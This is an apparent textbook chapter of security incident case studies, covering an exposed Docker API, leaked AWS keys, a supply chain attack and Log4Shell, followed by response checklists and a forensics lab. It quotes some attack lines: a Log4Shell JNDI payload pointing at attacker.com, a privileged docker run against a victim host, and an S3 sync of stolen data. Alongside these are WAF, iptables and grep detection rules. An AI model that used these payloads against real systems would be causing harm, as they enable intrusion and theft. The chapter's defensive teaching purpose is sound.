Security Incident Case Studies

Chapter 52: Security Incident Case Studies

Learning Objectives

• Learn from real security incidents and their root causes
• Understand attacker tactics, techniques, and procedures (TTPs)
• Build detection and response capabilities for common attack patterns
• Harden systems against the most common attack vectors

---

What is this? (Beginner On-Ramp)

Security incident case studies are post-mortems of actual cyberattacks. By studying how hackers exploited simple misconfigurations to steal data, engineers learn how to think like an attacker and implement defenses that actually work.

52.1 Case Study: Cryptominer via Exposed Docker API

    Attack: Unauthenticated Docker daemon → Cryptominer
    ─────────────────────────────────────────────────────

    Background:
    Docker daemon was listening on TCP port 2375 (no TLS, no auth)
    for "convenience" in a dev environment that was accidentally opened
    to the internet via a firewall rule change.

    Attack Timeline:
    T+0:00  Attacker scans internet for :2375 (common scanner: masscan)
    T+0:01  Discovers unauthenticated Docker API
    T+0:02  docker -H tcp://victim:2375 run --privileged ...
            Runs privileged container with host filesystem mounted
    T+0:05  Installs cryptominer on HOST (via container escape)
    T+0:10  Adds persistence: /etc/crontab, .ssh/authorized_keys
    T+0:30  Cryptominer consuming 98% of CPU

    Discovery:
    3 DAYS LATER — cloud bill spike, CPU graph looks odd

    Root Causes:
    1. Docker API exposed without authentication
    2. No outbound network monitoring (miner connects to pool)
    3. No CPU anomaly alerting
    4. No egress filtering

    Detection (what should have fired):
    • Alert: CPU sustained > 90% for > 15 minutes
    • Alert: Unexpected outbound connection to :3333 (mining pool port)
    • Falco rule: Container running with --privileged
    • Falco rule: New cron job created in container
    • Alert: New SSH authorized_keys added

    Hardening Applied:
    ──────────────────
    # Never expose Docker daemon on network
    # Use Docker socket with TLS:
    dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem
            --tlskey=server-key.pem -H=0.0.0.0:2376

    # Better: Use Docker socket proxy with allowlist
    # Or: rootless Docker

    # Egress filtering (block mining pool connections):
    iptables -A OUTPUT -p tcp --dport 3333 -j DROP
    iptables -A OUTPUT -p tcp --dport 3334 -j DROP
    iptables -A OUTPUT -p tcp --dport 4444 -j DROP
    # Allow only expected outbound: 80, 443, 53 (UDP), specific API endpoints

---

52.2 Case Study: Credentials in Git Repository

    Attack: API keys committed to public GitHub
    ──────────────────────────────────────────────

    Timeline:
    T+0:00  Developer accidentally commits AWS access key in .env file
            git push origin main → repository is public
    T+0:03  GitGuardian / Trufflehog scanner (run by attacker tools)
            detects new secret in public repository
    T+0:05  Attacker uses stolen key to enumerate AWS resources
    T+0:15  Discovers production S3 bucket with customer PII
    T+0:20  Starts downloading: aws s3 sync s3://production-data ./stolen/
    T+8:00  Developer notices unusual S3 API calls in CloudTrail

    Impact:
    2.3 million customer records exfiltrated (GDPR/CCPA breach)
    $5M fine, reputational damage

    Detection Failures:
    • No git pre-commit hook to detect secrets
    • No AWS GuardDuty (would have flagged unusual geographic access)
    • CloudTrail alerts not configured for bulk S3 downloads
    • IAM key with too broad permissions (S3 FullAccess)

    Prevention Controls:
    ─────────────────────

    # 1. Pre-commit secret scanning
    pip install detect-secrets
    detect-secrets scan > .secrets.baseline
    # .pre-commit-config.yaml:
    # - repo: https://github.com/Yelp/detect-secrets
    #   hooks: [{id: detect-secrets}]

    # 2. GitHub secret scanning (built-in, enable it)
    # Settings → Code security → Secret scanning → Enable

    # 3. Rotation immediately on detection
    aws iam delete-access-key --access-key-id AKIAXXXXXXXX
    # Revoke → rotate → audit what was accessed during exposure window

    # 4. IAM least privilege
    # IAM policy: only s3:GetObject on specific bucket (not FullAccess)

    # 5. AWS GuardDuty alert rules:
    # UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration
    # Discovery:S3/BucketEnumeration.Unusual

    # 6. CloudTrail alert: bulk S3 data transfer
    # Alert: s3:GetObject calls > 10000 in 1 hour by single principal

---

52.3 Case Study: Supply Chain Attack (SolarWinds-style)

    Attack Pattern: Compromised Build Pipeline
    ────────────────────────────────────────────

    The Attack (generalized from SolarWinds 2020):
    1. Attacker gains access to build environment (CI/CD)
    2. Injects malicious code into legitimate software during build
    3. Company signs and distributes malicious binary (they trust it)
    4. Customers install update — now they have backdoor
    5. Backdoor only activates on specific conditions (evade detection)

    Why It's Devastating:
    • Delivered via legitimate, signed update mechanism
    • Bypasses all perimeter defenses (software is trusted)
    • Months before detection (SolarWinds: March-December 2020)
    • 18,000+ customers affected including US government

    Defense in Depth for Supply Chain:
    ─────────────────────────────────────

    1. Reproducible Builds:
       Build same source → get byte-identical binary
       If binary differs → build was tampered with
       # If anyone can reproduce your build, tampering is detectable

    2. SBOM (Software Bill of Materials):
       Know every dependency in every release
       When new CVE: instantly know which releases are affected

    3. Code Signing + Transparency Log:
       Sigstore/Cosign signs artifacts
       Rekor transparency log: immutable audit trail of all signatures
       If malicious binary is signed → it appears in the log → auditable

    4. Build Environment Hardening:
       Immutable build servers (no persistent state)
       Build environment recreated from scratch per build (containers)
       No developer SSH access to build servers

    5. Two-Person Rule for Critical Releases:
       Release requires sign-off from 2 separate engineers
       Prevents single compromised account from shipping malicious code

    6. Runtime Behavioral Monitoring:
       Even if bad code ships → Falco detects anomalous runtime behavior
       "Unexpected outbound connection from our service"
       "Service spawning /bin/sh subprocess"

---

52.4 Case Study: Log4Shell (CVE-2021-44228)

    The Log4Shell Vulnerability
    ────────────────────────────

    Vulnerability: JNDI injection in Log4j 2 (Java logging library)

    How it worked:
    ${jndi:ldap://attacker.com/exploit}

    If Log4j logs a string containing ${jndi:...}:
    1. Log4j evaluates the expression
    2. Makes LDAP lookup to attacker's server
    3. Attacker returns Java class (malicious code)
    4. Log4j loads and executes the Java class
    → Remote Code Execution!

    Attack surface: ANY Java application using Log4j 2.0-2.14.1
    → Extremely common: Minecraft, VMware, Cisco, Apache Solr, Elasticsearch...

    Attacker input: User-Agent: ${jndi:ldap://attacker.com/a}
    → Web server logs User-Agent → Log4j logs it → RCE!

    Timeline: Dec 9 2021 disclosed → exploited within hours

    Response Process (what you should have done):
    ─────────────────────────────────────────────

    Hour 1: Know your exposure
    → SBOM answers instantly: "which services use log4j?"
    → Without SBOM: days of manual inventory

    Hour 2: Emergency mitigations (before patching)
    # JVM flag workaround:
    -Dlog4j2.formatMsgNoLookups=true

    # WAF rule to block JNDI strings:
    SecRule REQUEST_HEADERS "@contains jndi" "deny,status:403"
    SecRule REQUEST_BODY "@contains jndi" "deny,status:403"

    Day 1-3: Patch to Log4j 2.17.1
    → Update Maven/Gradle dependencies
    → Rebuild and redeploy all affected services

    Detection (did you get hit?):
    grep -r "jndi:" /var/log/     # Check logs for attack attempts
    grep -r "\$\{" /var/log/nginx/access.log  # JNDI patterns in HTTP logs

    Lessons:
    ✓ SBOM is essential for vulnerability response
    ✓ WAF with JNDI blocking would have bought time
    ✓ Java deserialization is a recurring vulnerability class
    ✓ Dependency scanning in CI (Trivy, Snyk) would catch Log4j CVE

---

52.5 Incident Response Checklist

    Security Incident Response (PICERL)
    ─────────────────────────────────────

    Preparation (before incident):
    □ IR runbooks written and tested
    □ SIEM configured with alert rules
    □ Forensic tools pre-installed (volatility, sleuthkit)
    □ Legal counsel contacts identified
    □ Incident response retainer (if external IR needed)

    Identification (is this real?):
    □ Confirm alert is not false positive
    □ Determine scope: which systems affected?
    □ Classify severity (SEV1 = active breach, SEV2 = suspected)
    □ Notify security team, management

    Containment (stop the bleeding):
    □ Isolate affected systems (network segmentation, disable accounts)
    □ Preserve evidence BEFORE making changes
    □ Block attacker's access (revoke credentials, block IPs)
    □ Do NOT power off (lose memory forensics) — use network isolation

    Eradication (remove attacker):
    □ Identify all persistence mechanisms (cron, SSH keys, services)
    □ Remove malware and backdoors
    □ Patch exploited vulnerability
    □ Rotate ALL credentials that may be compromised

    Recovery (restore service):
    □ Restore from known-good backup (if system is compromised)
    □ Verify clean state before reconnecting to network
    □ Monitor closely for 72 hours post-recovery

    Lessons Learned (postmortem):
    □ Timeline of events
    □ Root causes
    □ Detection gaps (what should have alerted but didn't)
    □ Action items with owners and deadlines
    □ Regulatory reporting if required (GDPR 72h, PCI-DSS)

---

52.6 Summary: Security Incident Taxonomy

Incident Type	Detection Signal	Key Defense
Exposed API	Port scan, unusual access	Firewall, auth required
Leaked credentials	GuardDuty, unusual API calls	Pre-commit hooks, least privilege
Supply chain	SBOM diff, binary hash	Sigstore, reproducible builds
Log4Shell-style	WAF log patterns	Dependency scanning, WAF
Ransomware	Mass encryption activity	Immutable backups, EDR
Insider threat	DLP, unusual bulk download	Zero trust, data classification

---

Next Chapter: Chapter 53: Performance Bottleneck Case Studies

Prerequisites

Chapter 14 (Security Fundamentals), Chapter 35 (Container Security).

---

Advantages & Disadvantages

Advantages: Teaches offensive mindset, proves that perimeter defense is not enough. Disadvantages: Attack vectors change constantly; yesterday’s case study might be obsolete tomorrow.

---

Common Mistakes

• Alerting the attacker by shutting down access too early, before understanding the full scope of the breach.
• Deleting compromised VMs instead of quarantining them for forensics.
• Failing to rotate all secrets (database passwords, API keys) after a breach.

---

Troubleshooting

Symptom	Cause	Diagnosis	Fix
Cryptominer running in container	Exposed Docker socket or vulnerable web app	docker top <container>; check open ports	Isolate container, save image for forensics, patch vulnerability, and redeploy
Unauthorized access to S3 bucket	Leaked AWS keys or misconfigured IAM	CloudTrail logs	Revoke compromised keys; implement least privilege IAM policies

---

Hands-on Lab

Objective: Forensics investigation of a suspicious process.

# 1. Find a suspicious process (mocked)
sleep 10000 &
PID=$!

# 2. Investigate its open files and network connections
lsof -p $PID
# OR
ls -l /proc/$PID/fd

# 3. View its environment variables (might contain stolen secrets)
cat /proc/$PID/environ | tr '\0' '\n'

---

Exercises

1. Describe the steps to securely quarantine a compromised Linux VM without destroying volatile memory evidence.
2. Analyze a scenario where an attacker escaped a Docker container using a mounted /var/run/docker.sock. How do you prevent this?

---

Revision Notes

• Container escape usually requires misconfigurations (e.g., --privileged, mounted docker socket).
• SSRF (Server-Side Request Forgery) is a common way to steal cloud metadata credentials (e.g., AWS IMDSv1).
• Containment must balance stopping the attack with preserving forensic evidence.
• Always assume the attacker has established persistence (backdoors, cron jobs, SSH keys).

---

Further Reading

• Incident Response & Computer Forensics by Jason T. Luttgens

---

Related Chapters

• Chapter 35 — Container Security

---

Last Updated: July 2026